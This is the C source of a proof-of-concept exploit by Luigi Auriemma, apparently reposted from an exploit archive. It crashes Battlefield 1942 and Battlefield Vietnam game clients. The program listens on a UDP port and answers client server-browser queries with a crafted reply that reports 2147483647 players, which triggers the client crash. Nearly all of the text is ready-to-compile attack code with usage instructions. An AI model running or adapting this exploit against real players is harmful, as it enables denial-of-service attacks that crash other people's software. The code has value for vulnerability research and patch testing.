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Battlefield 1942 <= 1.6.19 and Vietnam <= 1.2 Broadcast Client Crash
==================================================================== Battlefield 1942 <= 1.6.19 and Vietnam <= 1.2 Broadcast Client Crash ==================================================================== /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef WIN32 #include <winsock.h> /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include <string.h> #include <errno.h> void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #endif #define VER "0.1" #define BUFFSZ 2048 #define BOOMPLAYERS 2147483647 /* BUG */ #define BOOM "\\gamename\\%s" \ "\\gamever\\1.6" \ "\\location\\0" \ "\\hostname\\crash" \ "\\hostport\\%d" \ "\\mapname\\aberdeen" \ "\\numplayers\\%u" \ "\\maxplayers\\%u" /* not needed to be the same value */ \ "\\final\\" \ "\\queryid\\1.1" void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len, pcklen, on = 1, psz; u_short port; u_char buff[BUFFSZ + 1], pck[BUFFSZ + 1]; setbuf(stdout, NULL); fputs("\n" "Battlefield broadcast client crash "VER"\n" " 1942 <= 1.6.19 and Vietnam <= 1.2\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s <game> <port>\n" "\n" "Game:\n" " bfvietnam = Battlefield Vietnam\n" " bfield1942 = Battlefield 1942\n" " bfield1942sw = Battlefield 1942: Secret Weapons of WW2\n" " bfield1942rtr = Battlefield 1942: Road to Rome\n" " bfield1942swd = Battlefield 1942: Secret Weapons of WW2 Demo\n" " bfield1942d = Battlefield 1942 Demo\n" "\n" "Port:\n" " 23000 = default Internet port\n" " 22000 = default LAN port\n" "\n", argv[0]); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif port = atoi(argv[2]); peer.sin_addr.s_addr = INADDR_ANY; peer.sin_port = htons(port); peer.sin_family = AF_INET; psz = sizeof(peer); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); if(bind(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); pcklen = snprintf( pck, BUFFSZ, BOOM, argv[1], port, BOOMPLAYERS, BOOMPLAYERS); if((pcklen < 0) || (pcklen > BUFFSZ)) exit(1); fputs("Clients:\n", stdout); for(;;) { len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); if(len < 0) continue; buff[len] = 0x00; printf("%16s:%5hu %s\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port), buff); if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); } close(sd); return(0); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif # 0day.today [2024-11-16] #